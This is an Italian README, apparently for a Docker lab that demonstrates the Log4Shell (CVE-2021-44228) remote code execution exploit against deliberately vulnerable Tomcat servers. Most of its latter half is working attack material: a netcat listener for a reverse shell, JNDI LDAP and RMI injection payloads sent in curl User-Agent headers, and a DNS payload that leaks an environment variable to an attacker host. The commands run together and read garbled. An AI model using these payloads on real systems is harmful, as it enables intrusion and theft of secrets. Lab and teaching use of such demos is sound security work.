
Una demo di exploit RCE LDAP basata su Docker per CVE-2021-44228 Log4Shell
Il server demo Tomcat 8 sulla porta 8080 ha un'app vulnerabile (log4shell) distribuita su di esso e il server è anche vulnerabile tramite attacchi user-agent.
L'app exploit remota in questa demo si basa su quella trovata su https://github.com/kozmer/log4j-shell-poc
Questo server Tomcat demo (Tomcat 8.5.3, Java 1.8.0u51) è stato riconfigurato per usare Log4J2 per il logging - una configurazione non standard.
Un server Bitnami più recente è ora disponibile sulla porta 8888. Anch'esso è configurato per il logging Log4J2 ed esegue Tomcat 9.0.55 e OpenJDK 11.0.13.
L'exploit RMI contro il server Tomcat 9 / Java 11 è descritto qui: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (3 gennaio 2019) di Michael Stepankin
Lo script di rilevamento controllerà le vulnerabilità user-agent e proviene da qui: https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
Questo codice richiede Docker e Docker Compose
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# modifica docker-compose.yml per regolare le variabili d'ambiente secondo necessità.
# POC_ADDR è l'indirizzo del contenitore cve-poc
# LISTENER_ADDR è l'indirizzo del listener 'nc', ad esempio l'host docker
# L'indirizzo IP del listener è l'indirizzo della macchina su cui eseguirai il listener netcat 'nc'
# Può essere l'IP locale della macchina host docker.
docker-compose build
nc -lv 10.10.10.31 9001docker-compose upadminpassword${jndi:ldap://172.16.238.11:1389/a}ncnc -lv 10.10.10.31 9001docker-compose upcurl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shelldocker-compose upcurl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/Sto avendo problemi con l'argomento da riga di comando per il target ping. Quindi devi compilare da solo.
docker-compose updocker exec -it log4j-poc_cve-poc_1 /bin/bashcd /home/user/rmi-pocjavac -cp catalina.jar:. RMIServerPOC.javajavac -cp catalina.jar:. RMIServerPOC 127.0.0.1docker-compose upcurl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2